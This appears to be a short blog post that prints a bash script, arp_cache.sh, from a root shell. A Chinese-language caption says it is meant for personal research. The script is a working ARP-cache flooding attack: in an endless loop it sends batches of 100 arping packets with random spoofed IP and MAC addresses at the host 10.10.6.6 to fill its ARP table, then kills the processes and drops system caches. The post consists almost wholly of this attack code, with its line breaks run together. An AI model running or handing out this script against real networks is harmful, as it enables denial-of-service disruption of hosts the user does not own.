root@bt:~# cat bin/arp_cache.sh
#!/bin/bashfunction arp_cache_attack{while true;dofor((i=1;i<=100;i++))domac=$(($RANDOM%10))number1=$(($RANDOM%254))number2=$(($RANDOM%254))number3=$(($RANDOM%254))number4=$(($RANDOM%254))arping -S "$number1.$number2.$number3.$number4" -s 00:00:00:00:$mac:$mac 10.10.6.6 -c 1 &donesleep 1kill `ps aux | grep -i arping | grep -v grep | awk -F" " '{ print $2 }'` 1>/dev/nullsync && echo "3" > /proc/sys/vm/drop_cachesecho "re-generate"done}arp_cache_attack
此script每次會產生100筆隨機的假IP與MAC address去嘗試塞滿目標主機(10.10.6.6於以上script中)的arp table。
僅供個人研究,請勿以此script測試或攻擊別人的主機。
No comments:
Post a Comment